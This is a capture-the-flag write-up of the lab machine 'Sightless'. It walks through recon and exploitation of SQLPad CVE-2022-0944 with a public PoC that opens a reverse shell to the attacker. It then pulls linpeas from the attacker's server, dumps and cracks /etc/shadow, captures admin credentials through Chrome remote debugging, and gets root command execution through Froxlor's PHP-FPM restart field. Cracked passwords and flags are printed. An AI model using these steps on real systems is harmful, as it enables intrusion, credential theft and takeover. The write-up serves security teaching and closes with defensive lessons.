Sightless
The IP may vary: the lab had to be restarted at some point, so screenshots and commands might show a different address. Replace it with the one from your own instance.
TL;DR. Sightless is an easy Linux box. The port-80 site links to a SQLPad service (version 6.10.0) on a subdomain. That version is vulnerable to CVE-2022-0944, a template injection in the connection-test endpoint that yields RCE; the exploit drops a shell asroot, but inside a Docker container. The container's/etc/shadowholds usermichael's hash; we crack it withjohnand, since he reuses the password, we SSH into the real host and grabuser.txt. Forrootwe set up a SSH tunnel to an internal Froxlor and, abusing the Chrome remote debugger running on the box, capture Froxlor's admin credentials. From its panel, the PHP-FPM restart command field runs asrootand gives us the final flag.
Reconnaissance#
Initial scan#
We start with a ping. Besides confirming the host is up, the TTL of the reply hints at the operating system:
ping -c 1 10.10.11.3264 bytes from 10.10.11.32: icmp_seq=1 ttl=63 time=... ms
TTL 63 points to Linux: Linux starts the TTL at 64 and each routing hop decrements it, so 63 = 64−1. A hint, not proof, since it can be spoofed; the service scan confirms it.
Full TCP scan of all 65535 ports:
sudo nmap -p- --open -n -sS -Pn --min-rate 5000 -vvv 10.10.11.32 -oG scanPORT STATE SERVICE REASON 21/tcp open ftp syn-ack ttl 63 22/tcp open ssh syn-ack ttl 63 80/tcp open http syn-ack ttl 63
Three open ports: 21 (FTP), 22 (SSH) and 80 (HTTP). Version and default scripts on those:
nmap -p21,22,80 -sCV 10.10.11.32PORT STATE SERVICE VERSION 21/tcp open ftp | fingerprint-strings: | GenericLines: | 220 ProFTPD Server (sightless.htb FTP Server) [::ffff:10.10.11.32] | Invalid command: try being more creative 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0) 80/tcp open http nginx 1.18.0 (Ubuntu) |_http-server-header: nginx/1.18.0 (Ubuntu) |_http-title: Sightless.htb Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
The FTP banner is what hands over the domain: sightless.htb, which has to go into /etc/hosts so port 80 answers with more than its default page.
echo '10.10.11.32 sightless.htb' | sudo tee -a /etc/hosts > /dev/null; tail -n 1 /etc/hosts10.10.11.32 sightless.htb
We fingerprint port 80 with whatweb:
whatweb http://sightless.htbhttp://sightless.htb [200 OK] Country[RESERVED][ZZ], Email[sales@sightless.htb], HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.10.11.32], Title[Sightless.htb], X-UA-Compatible[IE=edge], nginx[1.18.0]
An nginx serving a static corporate site. Going through the source there are no comments and no internal paths: the only thing it adds is the contact email, which confirms the domain.
<a href="mailto:sales@sightless.htb" class="btn" style="color: black;"> Get In Touch</a>HTTP - TCP 80: the website and the SQLPad subdomain#
The home page is a plain services-company site, with no login panel or obvious sensitive functionality.

The Our Services section, however, holds three cards, and two of them name specific products: SQLPad and Froxlor. The second name will mean nothing until the end of the box, but it is worth noting down. The first is a web application that lets you write and run SQL queries from the browser and see the results instantly; it ships its own SQL editor and it is free software under the MIT licence, so its code and its flaws are public.
That card's button does not point to a path on the same site but to a subdomain, sqlpad.sightless.htb, so that has to resolve too:
echo '10.10.11.32 sqlpad.sightless.htb' | sudo tee -a /etc/hosts > /dev/null; tail -n 2 /etc/hosts10.10.11.32 sightless.htb 10.10.11.32 sqlpad.sightless.htb
SQLPad drops us straight into its query editor, but the connection dropdown is empty: with no configured connection there is nothing to run a query against.

Why fuzzing would not find it#
The subdomain came from reading the site, not from fuzzing. The long way round is still worth showing, because the habit is to go straight to the fuzzer and skip the first step, which is reading the site and its source. Here, on top of that, the long way led nowhere, and understanding why is worth more than the find itself. The route sweep against the main domain returns exactly one thing:
dirsearch -u http://sightless.htbExtensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460 Target: http://sightless.htb/ [16:06:38] 301 - 178B - /images -> http://sightless.htb/images/ [16:06:39] 403 - 564B - /images/ Task Completed
An /images and a 403 when listing it. We repeat with a far bigger wordlist in case the small one fell short:
gobuster dir -u http://10.10.11.32 \ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt -t 500 -b 302Progress: 1273832 / 1273833 (100.00%) Finished
1,273,833 words and zero results. With routes exhausted, subdomains are the next candidate, so we fuzz by Host header:
gobuster vhost -u http://10.10.11.32 \ -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -t 500Starting gobuster in VHOST enumeration mode Progress: 114441 / 114442 (100.00%) Finished
Nothing there either. And here is the interesting part: when a tool finds nothing there are two possible explanations, that there is nothing or that we are using it wrong, and the second one should be ruled out before drawing conclusions. The check is simple: build a five-word list (hola.txt) that deliberately includes the subdomain we already know and run the fuzzer again.
ffuf -c -w hola.txt -u http://FUZZ.sightless.htb:: Wordlist : FUZZ: /home/krmena/hola.txt :: Matcher : Response status: 200-299,301,302,307,401,403,405,500 sqlpad [Status: 200, Size: 722, Words: 64, Lines: 22, Duration: 95ms] :: Progress: [5/5] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00]
The technique works perfectly. So the problem was never the fuzzing, it was the wordlist, and that takes a second to confirm:
cat /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt | grep "sqlpad"
cat /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt | grep "sqlpad"Neither wordlist contains the word sqlpad, so reaching the subdomain with them was impossible. Neither the tool nor the method was failing: the word was missing, and that is why the only way in was the website. An empty result is not proof of absence, it only says what we looked for was not on the list. As a footnote, trying --append-domain on gobuster vhost, which changes how each Host header is built, was left untested.
Shell as root (in the container)#
SQLPad 6.10.0 and CVE-2022-0944#
The panel lets us in without credentials and lets us write queries, but with no connection configured there is nothing to fire them at.
The important thing about SQLPad is not running SQL but its version, because that is what decides whether there is a vector at all. Finding it takes more than it seems: neither whatweb nor nmap give it away. The next attempt is to look for a resource that leaks it, a CHANGELOG or similar, by sweeping routes inside the subdomain itself:
dirsearch -u http://sqlpad.sightless.htb[21:09:59] 404 - 21B - /api/swagger.json [21:09:59] 404 - 21B - /api/profile [21:09:59] 404 - 21B - /api/v1 [21:09:59] 404 - 21B - /api/version [21:09:59] 404 - 21B - /api/whoami
Dozens of API routes show up, one of them literally called /api/version. The catch is that they all answer 404 with the same 21-byte body, and requesting it by hand shows why:
curl http://sqlpad.sightless.htb/api/version{"title":"Not found"}
A 404 with a JSON body, not a server error page: the API is there and answering, it just serves nothing to a client without a session. Dead end. And after the whole detour, the version was one click away in the panel's own About box: 6.10.0.
It pays not to lose the habit of starting with the easy thing: the box sits in the three-dot menu at the top right, one click away from where we started.


A quick search for exploitation methods against that version returns a single entry, and it is enough: SQLPad 6.10.0 is vulnerable to CVE-2022-0944, a template injection in the connection-test endpoint. SQLPad renders some connection fields as EJS templates, and by injecting a template expression we can reach code execution on the server. It affects all versions prior to 6.10.1.
Exploitation: template injection to RCE#
The technique creates (or tests) a connection whose fields contain a template expression that, once rendered, reaches Node's child_process and runs a command. A public PoC automates the process and returns a reverse shell; we pass it the SQLPad URL and our listener IP/port.
git clone https://github.com/shhrew/CVE-2022-0944; cd CVE-2022-0944; ls... LICENSE README.md main.py requirements.txt
The template it injects reaches process.mainModule.require('child_process').exec(<cmd>), which is the way out of the template engine and into command execution. Before running it, its dependencies have to go in:
pip3 install -r requirements.txtThe script needs no separate nc: it opens the listening port itself, so all it takes is the SQLPad URL and the IP/port pair the shell should come back to.
python3 main.py http://sqlpad.sightless.htb 10.10.15.39 4444[+] Trying to bind to 10.10.15.39 on port 4444: Done [+] Waiting for connections on 10.10.15.39:4444: Got connection from 10.10.11.32 on port 44086 [*] Switching to interactive mode /bin/sh: 0: can't access tty; job control turned off #
The shell arrives with no TTY (can't access tty), so the usual treatment comes first:
script /dev/null -c bashScript started, file is /dev/null root@c184118df0a6:/var/lib/sqlpad#
The treatment stops halfway here, and it is better to say so than to pretend otherwise: the next step, stty raw -echo; fg, errors out. fg brings back to the foreground a job of our own shell, and what we have in front of us is not an nc we launched ourselves but the Python exploit's own interactive mode; there is no job to suspend with Ctrl+Z and nothing to return to. script's PTY is enough for what is left, so we carry on like this.
With a usable terminal, time to get our bearings:
whoami; hostname -I; hostnameroot 172.17.0.2 c184118df0a6
whoami says root, but the IP 172.17.0.2 falls in Docker's default range and the hostname is a short container id: we are root inside a container, not on the host.
Shell as michael (on the host)#
michael's hash in /etc/shadow#
Next comes the automated sweep. linpeas (repo) is downloaded on our machine:
wget https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.shand served over HTTP from the directory it landed in:
python3 -m http.server 80Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
From the container it gets pulled, made executable and run:
wget http://10.10.15.39/linpeas.sh; chmod +x linpeas.sh; ./linpeas.shLinPEAS-ng by carlospolop LEGEND: RED/YELLOW: 95% a PE vector RED: You should take a look to it YOU ARE ALREADY ROOT!!! (it could take longer to complete execution)
That YOU ARE ALREADY ROOT sums the situation up: we are root, but of a container.
linpeas's report turns up nothing usable: no odd SUID, no capabilities, no mounted Docker socket allowing a direct container escape. That is a negative result, but it changes the plan: if the way out is not inside the container, we need something useful outside it. And that brings back a fact from the initial scan, that the host has SSH open. An /etc/shadow is not just a list of container hashes: it can be the key to the host, if someone reuses their password.
cat /etc/passwdroot:x:0:0:root:/root:/bin/bash ... node:x:1000:1000::/home/node:/bin/bash michael:x:1001:1001::/home/michael:/bin/bash
Inside the container there is a user michael, and that name is the one to cross-check against the host.
cat /etc/shadowmichael:$6$mG3Cp2VPGY.FDE8u$KVWVIHzqTzhOSYkzJIpFc2EsgmqvPa.q2Z9bLUU6tlBWa...:19860:0:99999:7:::
Besides root, there is a user michael with a password hash ($6$ format, SHA-512).
Crack the hash and SSH in#
To crack it with john, first combine /etc/passwd and /etc/shadow with unshadow (so john recognises the user and hash together), then attack with rockyou.txt.
unshadow passwd.txt shadow.txt > unshadowed.txtunshadow produces no screen output, it simply dumps into the destination file each /etc/passwd user alongside its matching /etc/shadow hash, which is the format john expects. With that in place the dictionary attack can run:
john --wordlist=/usr/share/wordlists/rockyou.txt unshadowed.txtinsaneclownposse (michael) ...
The password is insaneclownposse. Since michael also exists on the host and reuses the same password, we use it to SSH into the real system (escaping the container) and read the first flag.
ssh michael@10.10.11.32michael@10.10.11.32's password: michael@sightless:~$
The password typed in is insaneclownposse. The first flag is in his home:
cat user.txt5268ebde80987a98cd86137283ad7fc2
Shell as root#
Tunnel to the internal services#
The first thing on a new host is looking at what is listening, because the nmap from outside only saw three ports and in here there can be a lot more:
ss -tulnp... tcp LISTEN 127.0.0.1:8080 0.0.0.0:* tcp LISTEN 127.0.0.1:44077 0.0.0.0:* ...
Two services bound to localhost: invisible from outside, which is why they never showed up in the initial scan. We still do not know what they are. If 8080 serves a web interface, poking at it with curl from the box itself is awkward, so the practical move is bringing both ports to our own browser with an SSH port forward; the second one goes along in case the first needs it.
ssh -L 44077:127.0.0.1:44077 -L 8080:127.0.0.1:8080 michael@10.10.11.32michael@10.10.11.32's password: Last login: Wed Sep 11 15:24:29 2024 from 10.10.15.39 michael@sightless:~$
With the tunnel up, http://127.0.0.1:8080 answers in our browser, and what sits behind it is a Froxlor panel, a hosting manager, exactly the second product the home page named. The 44077, which looked like a loose port, turns out to be its partner: the panel does not work without it.
Steal the session via Chrome remote debugging#
The host runs a headless Chrome with remote debugging (the auxiliary port gives it away): an automated process that, every so often, opens Froxlor and logs in as administrator. Chrome's debugging protocol lets you inspect and control that browser from chrome://inspect/#devices, which is the page we open in our own Chrome.

The Configure... button opens the Target discovery settings dialog, where we add the two forwarded ports, 127.0.0.1:8080 and 127.0.0.1:44077. As soon as they are accepted the victim browser's remote tabs show up: two Froxlor instances open at admin.sightless.htb:8080/admin_logger.php?page=log, each with its inspect, pause, focus tab, reload and close buttons.
Clicking inspect opens a DevTools over the victim's browser. With the Network tab recording, all it takes is waiting for the automated process to log in again: the form request carries the fields in the clear.

There are Froxlor's admin credentials: admin : ForlorfroxAdmin. With them we log into the panel through our tunnel:

Abuse PHP-FPM in Froxlor#
Inside the panel (Froxlor 2.1.8), the PHP → PHP-FPM versions section shows what this is about: every configuration has a php-fpm restart command field, and the system one carries a service php8.1-fpm restart.
That field, "php-fpm restart command", literally stores the command the panel runs as root every time it reloads the PHP-FPM configuration. In the legitimate config it is a service php8.1-fpm restart, but nothing stops it from being something else: it is direct command execution, only through a form.
There is one practical restriction: two configurations cannot share the same Configuration directory of php-fpm, so the new version is created with a directory different from the system one (/etc/php/8.1/... versus /etc/php/7.4/...). With that, we create a version whose restart command copies the flag to a path we can read:

Saving is not enough: the command only fires when the panel reloads PHP-FPM. The switch is at admin_settings.php?page=overview&part=phpfpm:

We disable it and save:

Then re-enable it and save again. That cycle fires the "restart command" as root. (If changes do not seem to apply, logging out and back in after each step helps.) We check the result from michael's shell:
ls /tmp1 Crashpad root.txt shell systemd-private-... tmux-1000 vmware-root_787-4290625459
The copy worked, but the file still belongs to root with its original permissions, so michael cannot read it yet. We repeat the trick with a second configuration that opens them up:


The bottom row is worth a look: the System default config carries a chmod 777 /etc/passwd as its restart command, the box author's own trace from testing the vector.
After repeating the disable-enable cycle, the chmod runs as root and the file becomes readable, as the permissions confirm:
ls -ltotal 40 -rw-rw-r-- 1 michael michael 0 Sep 11 14:40 1 drwx------ 6 john john 4096 Sep 11 14:19 Crashpad -rw-r--r-- 1 root root 33 Sep 11 15:45 root.txt -rwxrwxr-x 1 michael michael 250 Sep 11 14:52 shell ...
cat root.txt53ecabf4760747767f5de1ab315cbb7d
Box rooted.
Attack chain#
HTTP sightless.htb (80) ─► Our Services: SQLPad ─► sqlpad.sightless.htb
│
▼
SQLPad 6.10.0 ─► CVE-2022-0944 (template injection) ─► RCE
│
▼
root shell IN A Docker container (172.17.0.2)
│ /etc/shadow
▼
michael's hash ─► unshadow + john ─► insaneclownposse
│ credential reuse (SSH to host)
▼
michael @ host ─► user.txt
│ port forwarding 8080/44077
▼
internal Froxlor + Chrome remote debugging ─► Froxlor admin credentials
│ "php-fpm restart command" field (runs as root)
▼
RCE as root ─► root.txtLessons learned#
- One lead on the website beats a thousand wordlists. The SQLPad subdomain did not show up via fuzzing (the wordlists did not contain "sqlpad"); it was found by reading the site's own Our Services section. Enumeration is not only brute force: read what the application says about itself.
- A service's version is half the exploitation. Identifying SQLPad 6.10.0 led straight to CVE-2022-0944. Exposing versions in About panels or headers does the attacker's work; keeping the software above 6.10.1 would have closed it.
- A compromised container leaks host credentials. Being
rootin the container let us read its/etc/shadow; sincemichaelreused the password on the host, Docker's "isolation" achieved nothing. Distinct credentials per environment would have contained the jump. - Internal services are not invisible. Froxlor listened only on localhost, but an SSH tunnel brought it to our machine. "Only locally reachable" stops being a protection the moment someone has a shell.
- Automating a login leaves the session exposed. A Chrome with remote debugging that logged itself into Froxlor handed its credentials to anyone who knew where to look. And a panel that runs arbitrary commands as
root(PHP-FPM's "restart command") turns any admin access into full system control.